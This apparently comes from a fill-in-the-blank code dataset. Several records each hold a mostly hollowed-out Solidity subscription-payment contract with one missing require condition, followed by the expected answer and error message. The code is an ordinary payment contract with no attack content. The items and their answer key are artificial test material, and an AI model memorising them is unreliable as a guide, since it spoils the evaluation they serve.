/// @param _tokens: An array of token addresses to add to the allow list
function addTokens(address[] memory _tokens) external onlyOwner {
}
/// @param _tokens: An array of token addresses to remove from the allow list
function removeTokens(address[] memory _tokens) external onlyOwner {
}
/// @notice Sends accrued fees, primarily to be used to pay for subscription automation, to a recipient
function withdrawNative(uint256 _amount, address _recipient) external onlyOwner {
}
function withdrawToken(uint256 _amount, address _recipient, address _token) external onlyOwner {
require(_recipient != address(0), "That is the zero address");
require(<FILL_ME>)
}
/// @return price: the amount of the main stablecoin accepted for a plan, per period
/// @return billingPeriod: the number of seconds to wait before user is expected to pay again
/// @return timestamp: the last time the plan details were edited, users must resubscribe if plan details are edited
/// @return discount: The maximum discount given for buying multiple billing periods at once, up to a year
function getPlan(address _vendor, uint256 _planId) external view returns(uint256, uint256, uint256, uint256) {
}
function _getPlan(address _vendor, uint256 _planId) internal view returns(uint256, uint256, uint256, uint256) {
}
/// @return planKey: the vendor address and plan id are packed into a uint and returned
function _getPlanKey(address _vendor, uint256 _planId) internal pure returns (uint256) {
}
/// @dev Unpacks the values in the lastPayment uint
/// @return timestamp: the last time the user paid for a vendors plan
/// @return periods: the number of periods bought in bulk
function getLastPayment(address _vendor, uint256 _planId, address _user) external view returns (uint256, uint256) {
}
function _getLastPayment(uint256 _planKey, address _user) internal view returns (uint256, uint256) {
}
/// @notice Checks wnativeer the user has paid for a plan, and allows for a maximum 2 week buffer depending on length of billing period to allow for late payments
/// @return bool: true if user is a valid subscriber
function isValidSubscriber(address _vendor, address _user, uint256 _planId) external view returns (bool) {
}
function _isValidSubscriber(address _vendor, address _user, uint256 _planId) internal view returns (bool) {
}
/// @notice Handles plan creation and updating
/// @param _price: the amount of the main stablecoin a vendor will accept for a plan, per period
/// @param _billingPeriod: the number of seconds to wait before user is expected to pay again
/// @param _planId: the id of the selected plan
/// @param _discount: The maximum discount given for buying multiple billing periods at once, up to a year
function setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) external validPlan(_billingPeriod, _price, _discount) {
}
function _setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) internal {
}
/// @param _planId: the id of the plan to be deleted
function deletePlan(uint256 _planId) external {
}
function _deletePlan(uint256 _planId) internal {
}
/// @notice Vendors can add a free subscriber
/// @dev Subscriber is given a timestamp so far ahead, it will likely never be called to charge for payment
function addSubscriber(address _user, uint256 _planId) external {
}
/// @notice Vendors can remove a subscriber
function removeSubscriber(address _user, uint256 _planId) external {
}
/// @return bulkDiscountPrice this discount is calculated by accounting for the max discount allowed and the number of cycles being purchased
function _getDiscountPrice(uint256 _price, uint256 _periods, uint256 _cycleLength, uint256 _discount) internal pure returns (uint256) {
}
/// @return twapAmount amount of alternative tokens accepted based on a 1hr TWAP price
function getTwapAmount(address _token, uint256 _amountIn) external view returns (uint256) {
}
function _getTwapAmount(address _token, uint256 _amountIn) internal view returns (uint256) {
}
/// @dev executes transfers and collects fees
function _transferToken(address _token, address _vendor, address _user, uint256 amount, uint256 _gasAtStart, uint256 _price, uint256 _decimalsDiff) internal {
}
/// @dev handles most of the state updates for user payments
function _confirmation(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _amount) internal {
}
/// @dev handles most of the state updates for user payments
/// @return formattedPrice scales the decimals appropriately
/// @return decimalsDiff the difference in decimals
function _fixDecimals(address _token, uint256 price) internal view returns (uint256, uint256) {
}
function _split (bytes memory _sig) internal pure returns (bytes32 r, bytes32 s, uint8 v) {
}
/// @notice Allows users to subscribe to a plan via signature to avoid gas fees with accepted tokens
function subscribeWithAttestation(bytes memory _signature, address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function subscribeStable(address _vendor, uint256 _planId, uint256 _periods, address _stable) external {
}
function _subscribeStable(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _stable, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with accepted tokens
function subscribeToken(address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function _subscribeToken(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with native token, this doesn't allow for automatic payment collection unless users subscribe with wrapped version
function subscribeNative(address _vendor, uint256 _planId, uint256 _periods) external payable {
}
function _subscribeNative(address _vendor, uint256 _planId, uint256 _periods, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice users can opt-out of subscription plans
function unsubscribe(address _vendor, uint256 _planId) external {
}
function _unsubscribe(address _vendor, uint256 _planId) internal {
}
/// @notice users can change to a different plan with a discounted price dependent on how long they are into their current billing period
function changePlan(address _vendor, uint256 _oldPlanId, uint256 _newPlanId, uint256 _periods, address _token) external payable {
}
struct Misc {
uint256 planKey;
uint256 decimalsDiff;
uint256 gasAtStart;
}
/// @notice to be triggered whenever it is time to collect payment from user
function collectPayment(address _user, address _vendor, uint256 _planId, address _token) allowedToken(_token) external {
}
}
| TOKEN(_token).transfer(_recipient,_amount),"Error with token transfer" | 70,397 | TOKEN(_token).transfer(_recipient,_amount) |
"Error with token transfer" | //SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.0;
/// @title A Payment Manager
/// @author Blokku-Chan
/// @notice Used to calculate and fetch 1hr TWAP prices for non-stablecoin payment
import "@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol";
/// @notice Used to fetch Uniswap pool data
interface IUniswapV3Factory {
function getPool(address tokenA, address tokenB, uint24 fee) external view returns (address pool);
}
/// @notice Used to handle transfers
interface TOKEN {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external view returns (uint8);
}
/// @notice You can use this contract to create or subscribe to payment plans
/// @dev Uint packing is used for a number of variables
contract Solid {
uint256 constant gasCommit = 21000 + 396;
/// @dev Stored to convert decimal points when using alternative stablecoins
uint256 public mainStableDecimals;
/// @notice Uniswap V3 Factory address
address public immutable uniV3Factory;
/// @notice The chains wrapped native token address
address public immutable wrappedNativeToken;
/// @notice Owner of the contract is able to manage accepted tokens
address public owner;
/// @notice Main stable is the most popular/accessible stablecoin on the chain
address public mainStable;
/// @notice Stablecoin addresses in here are accepted by the contract
mapping(address => uint256) public stableIsAllowed;
/// @notice Token addresses in here are accepted by the contract
mapping(address => uint256) public tokenIsAllowed;
/// @notice Plan details are stored in here, this includes: Price, Billing frequency, Bulk discounts, and timestamp of most recent change
/// @dev The plan mapping key is a packing of the uint160 vendors address and a plan id, because it is cheaper than a nested mapping
/// @dev The plan values are packed instead of stored as structs, they are: uint40 price, uint48 billingPeriod, uint48 timestamp, uint120 discount
mapping(uint256 => uint256) public plan;
/// @notice Last payment contains the timestamp of a users last payment to a chosen vendors plan, it also has the number of billing periods paid for in bulk
/// @dev The lastPayment mapping key is a nested mapping of a plan key => users address
/// @dev The lastPayment values are packed as well, they are: uint48 timestamp and uint208 periods (the number of billing periods purchased in bulk)
mapping(uint256 => mapping(address => uint256)) public lastPayment;
/// @notice used to verify attestation chain of origin
uint256 public chainId;
event Payment(address indexed user, address indexed vendor, uint256 indexed plan, address token, uint256 amount, uint256 periods, bool firstTime, uint256 timestamp);
event Unsubscription(address indexed user, address indexed vendor, uint256 plan, uint256 timestamp);
event PlanSet(address indexed vendor, uint256 planId);
event NewStable(address stable);
event NewToken(address token);
event NewOwner(address token);
/// @notice This defines the owner, the address of the Uniswap V3 Factory and the address of the wrapped native token
constructor(uint256 _chainId, address _uniV3Factory, address _wrappedNativeToken) payable {
}
receive() external payable {}
modifier onlyOwner() {
}
/// @dev Different checks to ensure fairness in plan creation, billingPeriods set to low allow for too frequent payment collections, and so cannot be allowed
modifier validPlan(uint256 _billingPeriod, uint256 _price, uint256 _discount) {
}
/// @dev Used to guard against tokens that are not accepted
modifier allowedToken(address _token) {
}
/// @dev Used to prevent free subscriptions not initiated by the vendor
modifier checkPeriods(uint256 _periods) {
}
function setOwner(address _owner) external onlyOwner {
}
/// @notice Ownership is intended to be temporary, once contracts can run by themselves ownership will be removed
function removeOwnership() external onlyOwner {
}
/// @notice The main stablecoin is used to check for prices on Uniswap V3 Pools
function setMainStable(address _mainStable) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to add to the allow list
function addStables(address[] memory _stables) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to remove from the allow list
function removeStables(address[] memory _stables) external onlyOwner {
}
/// @param _tokens: An array of token addresses to add to the allow list
function addTokens(address[] memory _tokens) external onlyOwner {
}
/// @param _tokens: An array of token addresses to remove from the allow list
function removeTokens(address[] memory _tokens) external onlyOwner {
}
/// @notice Sends accrued fees, primarily to be used to pay for subscription automation, to a recipient
function withdrawNative(uint256 _amount, address _recipient) external onlyOwner {
}
function withdrawToken(uint256 _amount, address _recipient, address _token) external onlyOwner {
}
/// @return price: the amount of the main stablecoin accepted for a plan, per period
/// @return billingPeriod: the number of seconds to wait before user is expected to pay again
/// @return timestamp: the last time the plan details were edited, users must resubscribe if plan details are edited
/// @return discount: The maximum discount given for buying multiple billing periods at once, up to a year
function getPlan(address _vendor, uint256 _planId) external view returns(uint256, uint256, uint256, uint256) {
}
function _getPlan(address _vendor, uint256 _planId) internal view returns(uint256, uint256, uint256, uint256) {
}
/// @return planKey: the vendor address and plan id are packed into a uint and returned
function _getPlanKey(address _vendor, uint256 _planId) internal pure returns (uint256) {
}
/// @dev Unpacks the values in the lastPayment uint
/// @return timestamp: the last time the user paid for a vendors plan
/// @return periods: the number of periods bought in bulk
function getLastPayment(address _vendor, uint256 _planId, address _user) external view returns (uint256, uint256) {
}
function _getLastPayment(uint256 _planKey, address _user) internal view returns (uint256, uint256) {
}
/// @notice Checks wnativeer the user has paid for a plan, and allows for a maximum 2 week buffer depending on length of billing period to allow for late payments
/// @return bool: true if user is a valid subscriber
function isValidSubscriber(address _vendor, address _user, uint256 _planId) external view returns (bool) {
}
function _isValidSubscriber(address _vendor, address _user, uint256 _planId) internal view returns (bool) {
}
/// @notice Handles plan creation and updating
/// @param _price: the amount of the main stablecoin a vendor will accept for a plan, per period
/// @param _billingPeriod: the number of seconds to wait before user is expected to pay again
/// @param _planId: the id of the selected plan
/// @param _discount: The maximum discount given for buying multiple billing periods at once, up to a year
function setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) external validPlan(_billingPeriod, _price, _discount) {
}
function _setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) internal {
}
/// @param _planId: the id of the plan to be deleted
function deletePlan(uint256 _planId) external {
}
function _deletePlan(uint256 _planId) internal {
}
/// @notice Vendors can add a free subscriber
/// @dev Subscriber is given a timestamp so far ahead, it will likely never be called to charge for payment
function addSubscriber(address _user, uint256 _planId) external {
}
/// @notice Vendors can remove a subscriber
function removeSubscriber(address _user, uint256 _planId) external {
}
/// @return bulkDiscountPrice this discount is calculated by accounting for the max discount allowed and the number of cycles being purchased
function _getDiscountPrice(uint256 _price, uint256 _periods, uint256 _cycleLength, uint256 _discount) internal pure returns (uint256) {
}
/// @return twapAmount amount of alternative tokens accepted based on a 1hr TWAP price
function getTwapAmount(address _token, uint256 _amountIn) external view returns (uint256) {
}
function _getTwapAmount(address _token, uint256 _amountIn) internal view returns (uint256) {
}
/// @dev executes transfers and collects fees
function _transferToken(address _token, address _vendor, address _user, uint256 amount, uint256 _gasAtStart, uint256 _price, uint256 _decimalsDiff) internal {
uint256 gasSpent = _gasAtStart - gasleft() + 50000;
uint256 gas = gasSpent * tx.gasprice;
uint256 nativeAmount = _getTwapAmount(wrappedNativeToken, (_price / 10**_decimalsDiff));
uint256 refund = (gas * _price) / nativeAmount;
require(<FILL_ME>)
}
/// @dev handles most of the state updates for user payments
function _confirmation(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _amount) internal {
}
/// @dev handles most of the state updates for user payments
/// @return formattedPrice scales the decimals appropriately
/// @return decimalsDiff the difference in decimals
function _fixDecimals(address _token, uint256 price) internal view returns (uint256, uint256) {
}
function _split (bytes memory _sig) internal pure returns (bytes32 r, bytes32 s, uint8 v) {
}
/// @notice Allows users to subscribe to a plan via signature to avoid gas fees with accepted tokens
function subscribeWithAttestation(bytes memory _signature, address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function subscribeStable(address _vendor, uint256 _planId, uint256 _periods, address _stable) external {
}
function _subscribeStable(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _stable, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with accepted tokens
function subscribeToken(address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function _subscribeToken(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with native token, this doesn't allow for automatic payment collection unless users subscribe with wrapped version
function subscribeNative(address _vendor, uint256 _planId, uint256 _periods) external payable {
}
function _subscribeNative(address _vendor, uint256 _planId, uint256 _periods, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice users can opt-out of subscription plans
function unsubscribe(address _vendor, uint256 _planId) external {
}
function _unsubscribe(address _vendor, uint256 _planId) internal {
}
/// @notice users can change to a different plan with a discounted price dependent on how long they are into their current billing period
function changePlan(address _vendor, uint256 _oldPlanId, uint256 _newPlanId, uint256 _periods, address _token) external payable {
}
struct Misc {
uint256 planKey;
uint256 decimalsDiff;
uint256 gasAtStart;
}
/// @notice to be triggered whenever it is time to collect payment from user
function collectPayment(address _user, address _vendor, uint256 _planId, address _token) allowedToken(_token) external {
}
}
| TOKEN(_token).transferFrom(_user,_vendor,amount-refund)&&TOKEN(_token).transferFrom(_user,msg.sender,refund),"Error with token transfer" | 70,397 | TOKEN(_token).transferFrom(_user,_vendor,amount-refund)&&TOKEN(_token).transferFrom(_user,msg.sender,refund) |
"User is already subscribed" | //SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.0;
/// @title A Payment Manager
/// @author Blokku-Chan
/// @notice Used to calculate and fetch 1hr TWAP prices for non-stablecoin payment
import "@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol";
/// @notice Used to fetch Uniswap pool data
interface IUniswapV3Factory {
function getPool(address tokenA, address tokenB, uint24 fee) external view returns (address pool);
}
/// @notice Used to handle transfers
interface TOKEN {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external view returns (uint8);
}
/// @notice You can use this contract to create or subscribe to payment plans
/// @dev Uint packing is used for a number of variables
contract Solid {
uint256 constant gasCommit = 21000 + 396;
/// @dev Stored to convert decimal points when using alternative stablecoins
uint256 public mainStableDecimals;
/// @notice Uniswap V3 Factory address
address public immutable uniV3Factory;
/// @notice The chains wrapped native token address
address public immutable wrappedNativeToken;
/// @notice Owner of the contract is able to manage accepted tokens
address public owner;
/// @notice Main stable is the most popular/accessible stablecoin on the chain
address public mainStable;
/// @notice Stablecoin addresses in here are accepted by the contract
mapping(address => uint256) public stableIsAllowed;
/// @notice Token addresses in here are accepted by the contract
mapping(address => uint256) public tokenIsAllowed;
/// @notice Plan details are stored in here, this includes: Price, Billing frequency, Bulk discounts, and timestamp of most recent change
/// @dev The plan mapping key is a packing of the uint160 vendors address and a plan id, because it is cheaper than a nested mapping
/// @dev The plan values are packed instead of stored as structs, they are: uint40 price, uint48 billingPeriod, uint48 timestamp, uint120 discount
mapping(uint256 => uint256) public plan;
/// @notice Last payment contains the timestamp of a users last payment to a chosen vendors plan, it also has the number of billing periods paid for in bulk
/// @dev The lastPayment mapping key is a nested mapping of a plan key => users address
/// @dev The lastPayment values are packed as well, they are: uint48 timestamp and uint208 periods (the number of billing periods purchased in bulk)
mapping(uint256 => mapping(address => uint256)) public lastPayment;
/// @notice used to verify attestation chain of origin
uint256 public chainId;
event Payment(address indexed user, address indexed vendor, uint256 indexed plan, address token, uint256 amount, uint256 periods, bool firstTime, uint256 timestamp);
event Unsubscription(address indexed user, address indexed vendor, uint256 plan, uint256 timestamp);
event PlanSet(address indexed vendor, uint256 planId);
event NewStable(address stable);
event NewToken(address token);
event NewOwner(address token);
/// @notice This defines the owner, the address of the Uniswap V3 Factory and the address of the wrapped native token
constructor(uint256 _chainId, address _uniV3Factory, address _wrappedNativeToken) payable {
}
receive() external payable {}
modifier onlyOwner() {
}
/// @dev Different checks to ensure fairness in plan creation, billingPeriods set to low allow for too frequent payment collections, and so cannot be allowed
modifier validPlan(uint256 _billingPeriod, uint256 _price, uint256 _discount) {
}
/// @dev Used to guard against tokens that are not accepted
modifier allowedToken(address _token) {
}
/// @dev Used to prevent free subscriptions not initiated by the vendor
modifier checkPeriods(uint256 _periods) {
}
function setOwner(address _owner) external onlyOwner {
}
/// @notice Ownership is intended to be temporary, once contracts can run by themselves ownership will be removed
function removeOwnership() external onlyOwner {
}
/// @notice The main stablecoin is used to check for prices on Uniswap V3 Pools
function setMainStable(address _mainStable) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to add to the allow list
function addStables(address[] memory _stables) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to remove from the allow list
function removeStables(address[] memory _stables) external onlyOwner {
}
/// @param _tokens: An array of token addresses to add to the allow list
function addTokens(address[] memory _tokens) external onlyOwner {
}
/// @param _tokens: An array of token addresses to remove from the allow list
function removeTokens(address[] memory _tokens) external onlyOwner {
}
/// @notice Sends accrued fees, primarily to be used to pay for subscription automation, to a recipient
function withdrawNative(uint256 _amount, address _recipient) external onlyOwner {
}
function withdrawToken(uint256 _amount, address _recipient, address _token) external onlyOwner {
}
/// @return price: the amount of the main stablecoin accepted for a plan, per period
/// @return billingPeriod: the number of seconds to wait before user is expected to pay again
/// @return timestamp: the last time the plan details were edited, users must resubscribe if plan details are edited
/// @return discount: The maximum discount given for buying multiple billing periods at once, up to a year
function getPlan(address _vendor, uint256 _planId) external view returns(uint256, uint256, uint256, uint256) {
}
function _getPlan(address _vendor, uint256 _planId) internal view returns(uint256, uint256, uint256, uint256) {
}
/// @return planKey: the vendor address and plan id are packed into a uint and returned
function _getPlanKey(address _vendor, uint256 _planId) internal pure returns (uint256) {
}
/// @dev Unpacks the values in the lastPayment uint
/// @return timestamp: the last time the user paid for a vendors plan
/// @return periods: the number of periods bought in bulk
function getLastPayment(address _vendor, uint256 _planId, address _user) external view returns (uint256, uint256) {
}
function _getLastPayment(uint256 _planKey, address _user) internal view returns (uint256, uint256) {
}
/// @notice Checks wnativeer the user has paid for a plan, and allows for a maximum 2 week buffer depending on length of billing period to allow for late payments
/// @return bool: true if user is a valid subscriber
function isValidSubscriber(address _vendor, address _user, uint256 _planId) external view returns (bool) {
}
function _isValidSubscriber(address _vendor, address _user, uint256 _planId) internal view returns (bool) {
}
/// @notice Handles plan creation and updating
/// @param _price: the amount of the main stablecoin a vendor will accept for a plan, per period
/// @param _billingPeriod: the number of seconds to wait before user is expected to pay again
/// @param _planId: the id of the selected plan
/// @param _discount: The maximum discount given for buying multiple billing periods at once, up to a year
function setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) external validPlan(_billingPeriod, _price, _discount) {
}
function _setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) internal {
}
/// @param _planId: the id of the plan to be deleted
function deletePlan(uint256 _planId) external {
}
function _deletePlan(uint256 _planId) internal {
}
/// @notice Vendors can add a free subscriber
/// @dev Subscriber is given a timestamp so far ahead, it will likely never be called to charge for payment
function addSubscriber(address _user, uint256 _planId) external {
}
/// @notice Vendors can remove a subscriber
function removeSubscriber(address _user, uint256 _planId) external {
}
/// @return bulkDiscountPrice this discount is calculated by accounting for the max discount allowed and the number of cycles being purchased
function _getDiscountPrice(uint256 _price, uint256 _periods, uint256 _cycleLength, uint256 _discount) internal pure returns (uint256) {
}
/// @return twapAmount amount of alternative tokens accepted based on a 1hr TWAP price
function getTwapAmount(address _token, uint256 _amountIn) external view returns (uint256) {
}
function _getTwapAmount(address _token, uint256 _amountIn) internal view returns (uint256) {
}
/// @dev executes transfers and collects fees
function _transferToken(address _token, address _vendor, address _user, uint256 amount, uint256 _gasAtStart, uint256 _price, uint256 _decimalsDiff) internal {
}
/// @dev handles most of the state updates for user payments
function _confirmation(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _amount) internal {
}
/// @dev handles most of the state updates for user payments
/// @return formattedPrice scales the decimals appropriately
/// @return decimalsDiff the difference in decimals
function _fixDecimals(address _token, uint256 price) internal view returns (uint256, uint256) {
}
function _split (bytes memory _sig) internal pure returns (bytes32 r, bytes32 s, uint8 v) {
}
/// @notice Allows users to subscribe to a plan via signature to avoid gas fees with accepted tokens
function subscribeWithAttestation(bytes memory _signature, address _vendor, uint256 _planId, uint256 _periods, address _token) external {
bytes32 eip712Domain = keccak256(abi.encode(
keccak256("EIP712Domain(uint256 chainId,address verifyingContract)"),
chainId,
address(this)
));
bytes32 attestation = keccak256(abi.encode(
keccak256("Attestation(address vendor,uint256 planId,uint256 periods,address token)"),
_vendor,
_planId,
_periods,
_token
));
bytes32 ethSignedHash = keccak256(abi.encodePacked("\x19\x01", eip712Domain, attestation));
(bytes32 r, bytes32 s, uint8 v) = _split(_signature);
address subscriber = ecrecover(ethSignedHash, v, r, s);
require(<FILL_ME>)
(uint256 price, uint256 billingPeriod,, uint256 discount) = _getPlan(_vendor, _planId);
if (stableIsAllowed[_token] == 1) {
_subscribeStable(subscriber, _vendor, _planId, _periods, _token, price, billingPeriod, discount);
} else {
_subscribeToken(subscriber, _vendor, _planId, _periods, _token, price, billingPeriod, discount);
}
}
function subscribeStable(address _vendor, uint256 _planId, uint256 _periods, address _stable) external {
}
function _subscribeStable(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _stable, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with accepted tokens
function subscribeToken(address _vendor, uint256 _planId, uint256 _periods, address _token) external {
}
function _subscribeToken(address _subscriber, address _vendor, uint256 _planId, uint256 _periods, address _token, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice Allows users to subscribe to a plan with native token, this doesn't allow for automatic payment collection unless users subscribe with wrapped version
function subscribeNative(address _vendor, uint256 _planId, uint256 _periods) external payable {
}
function _subscribeNative(address _vendor, uint256 _planId, uint256 _periods, uint256 _price, uint256 _billingPeriod, uint256 _discount) internal checkPeriods(_periods) {
}
/// @notice users can opt-out of subscription plans
function unsubscribe(address _vendor, uint256 _planId) external {
}
function _unsubscribe(address _vendor, uint256 _planId) internal {
}
/// @notice users can change to a different plan with a discounted price dependent on how long they are into their current billing period
function changePlan(address _vendor, uint256 _oldPlanId, uint256 _newPlanId, uint256 _periods, address _token) external payable {
}
struct Misc {
uint256 planKey;
uint256 decimalsDiff;
uint256 gasAtStart;
}
/// @notice to be triggered whenever it is time to collect payment from user
function collectPayment(address _user, address _vendor, uint256 _planId, address _token) allowedToken(_token) external {
}
}
| _isValidSubscriber(_vendor,subscriber,_planId)==false,"User is already subscribed" | 70,397 | _isValidSubscriber(_vendor,subscriber,_planId)==false |
"Stablecoin not allowed" | //SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.0;
/// @title A Payment Manager
/// @author Blokku-Chan
/// @notice Used to calculate and fetch 1hr TWAP prices for non-stablecoin payment
import "@uniswap/v3-periphery/contracts/libraries/OracleLibrary.sol";
/// @notice Used to fetch Uniswap pool data
interface IUniswapV3Factory {
function getPool(address tokenA, address tokenB, uint24 fee) external view returns (address pool);
}
/// @notice Used to handle transfers
interface TOKEN {
function transfer(address to, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function decimals() external view returns (uint8);
}
/// @notice You can use this contract to create or subscribe to payment plans
/// @dev Uint packing is used for a number of variables
contract Solid {
uint256 constant gasCommit = 21000 + 396;
/// @dev Stored to convert decimal points when using alternative stablecoins
uint256 public mainStableDecimals;
/// @notice Uniswap V3 Factory address
address public immutable uniV3Factory;
/// @notice The chains wrapped native token address
address public immutable wrappedNativeToken;
/// @notice Owner of the contract is able to manage accepted tokens
address public owner;
/// @notice Main stable is the most popular/accessible stablecoin on the chain
address public mainStable;
/// @notice Stablecoin addresses in here are accepted by the contract
mapping(address => uint256) public stableIsAllowed;
/// @notice Token addresses in here are accepted by the contract
mapping(address => uint256) public tokenIsAllowed;
/// @notice Plan details are stored in here, this includes: Price, Billing frequency, Bulk discounts, and timestamp of most recent change
/// @dev The plan mapping key is a packing of the uint160 vendors address and a plan id, because it is cheaper than a nested mapping
/// @dev The plan values are packed instead of stored as structs, they are: uint40 price, uint48 billingPeriod, uint48 timestamp, uint120 discount
mapping(uint256 => uint256) public plan;
/// @notice Last payment contains the timestamp of a users last payment to a chosen vendors plan, it also has the number of billing periods paid for in bulk
/// @dev The lastPayment mapping key is a nested mapping of a plan key => users address
/// @dev The lastPayment values are packed as well, they are: uint48 timestamp and uint208 periods (the number of billing periods purchased in bulk)
mapping(uint256 => mapping(address => uint256)) public lastPayment;
/// @notice used to verify attestation chain of origin
uint256 public chainId;
event Payment(address indexed user, address indexed vendor, uint256 indexed plan, address token, uint256 amount, uint256 periods, bool firstTime, uint256 timestamp);
event Unsubscription(address indexed user, address indexed vendor, uint256 plan, uint256 timestamp);
event PlanSet(address indexed vendor, uint256 planId);
event NewStable(address stable);
event NewToken(address token);
event NewOwner(address token);
/// @notice This defines the owner, the address of the Uniswap V3 Factory and the address of the wrapped native token
constructor(uint256 _chainId, address _uniV3Factory, address _wrappedNativeToken) payable {
}
receive() external payable {}
modifier onlyOwner() {
}
/// @dev Different checks to ensure fairness in plan creation, billingPeriods set to low allow for too frequent payment collections, and so cannot be allowed
modifier validPlan(uint256 _billingPeriod, uint256 _price, uint256 _discount) {
}
/// @dev Used to guard against tokens that are not accepted
modifier allowedToken(address _token) {
}
/// @dev Used to prevent free subscriptions not initiated by the vendor
modifier checkPeriods(uint256 _periods) {
}
function setOwner(address _owner) external onlyOwner {
}
/// @notice Ownership is intended to be temporary, once contracts can run by themselves ownership will be removed
function removeOwnership() external onlyOwner {
}
/// @notice The main stablecoin is used to check for prices on Uniswap V3 Pools
function setMainStable(address _mainStable) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to add to the allow list
function addStables(address[] memory _stables) external onlyOwner {
}
/// @param _stables: An array of stablecoin addresses to remove from the allow list
function removeStables(address[] memory _stables) external onlyOwner {
}
/// @param _tokens: An array of token addresses to add to the allow list
function addTokens(address[] memory _tokens) external onlyOwner {
}
/// @param _tokens: An array of token addresses to remove from the allow list
function removeTokens(address[] memory _tokens) external onlyOwner {
}
/// @notice Sends accrued fees, primarily to be used to pay for subscription automation, to a recipient
function withdrawNative(uint256 _amount, address _recipient) external onlyOwner {
}
function withdrawToken(uint256 _amount, address _recipient, address _token) external onlyOwner {
}
/// @return price: the amount of the main stablecoin accepted for a plan, per period
/// @return billingPeriod: the number of seconds to wait before user is expected to pay again
/// @return timestamp: the last time the plan details were edited, users must resubscribe if plan details are edited
/// @return discount: The maximum discount given for buying multiple billing periods at once, up to a year
function getPlan(address _vendor, uint256 _planId) external view returns(uint256, uint256, uint256, uint256) {
}
function _getPlan(address _vendor, uint256 _planId) internal view returns(uint256, uint256, uint256, uint256) {
}
/// @return planKey: the vendor address and plan id are packed into a uint and returned
function _getPlanKey(address _vendor, uint256 _planId) internal pure returns (uint256) {
}
/// @dev Unpacks the values in the lastPayment uint
/// @return timestamp: the last time the user paid for a vendors plan
/// @return periods: the number of periods bought in bulk
function getLastPayment(address _vendor, uint256 _planId, address _user) external view returns (uint256, uint256) {
}
function _getLastPayment(uint256 _planKey, address _user) internal view returns (uint256, uint256) {
}
/// @notice Checks wnativeer the user has paid for a plan, and allows for a maximum 2 week buffer depending on length of billing period to allow for late payments
/// @return bool: true if user is a valid subscriber
function isValidSubscriber(address _vendor, address _user, uint256 _planId) external view returns (bool) {
}
function _isValidSubscriber(address _vendor, address _user, uint256 _planId) internal view returns (bool) {
}
/// @notice Handles plan creation and updating
/// @param _price: the amount of the main stablecoin a vendor will accept for a plan, per period
/// @param _billingPeriod: the number of seconds to wait before user is expected to pay again
/// @param _planId: the id of the selected plan
/// @param _discount: The maximum discount given for buying multiple billing periods at once, up to a year
function setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) external validPlan(_billingPeriod, _price, _discount) {
}
function _setPlan(uint256 _price, uint256 _billingPeriod, uint256 _planId, uint256 _discount) internal {
}
/// @param _planId: the id of the plan to be deleted
function deletePlan(uint256 _planId) external {
}
function _deletePlan(uint256 _planId) internal {
}
/// @notice Vendors can add a free subscriber
/// @dev Subscriber is given a timestamp so far ahead, it will likely never be called to charge for payment
function addSubscriber(address _user, uint256 _planId) external {
}
/// @notice Vendors can remove a subscriber
function removeSubscriber(address _user, uint256 _planId) external {
}
/// @return bulkDiscountPrice this discount is calculated by accounting for the max discount allowed and the number of cycles being purchased
function _getDiscountPrice(uint256 _price, uint256 _periods, uint256 _cycleLength, uint256 _discount) internal pure returns (uint256) {
}
/// @return twapAmount amount of alternative tokens accepted based on a 1hr TWAP price
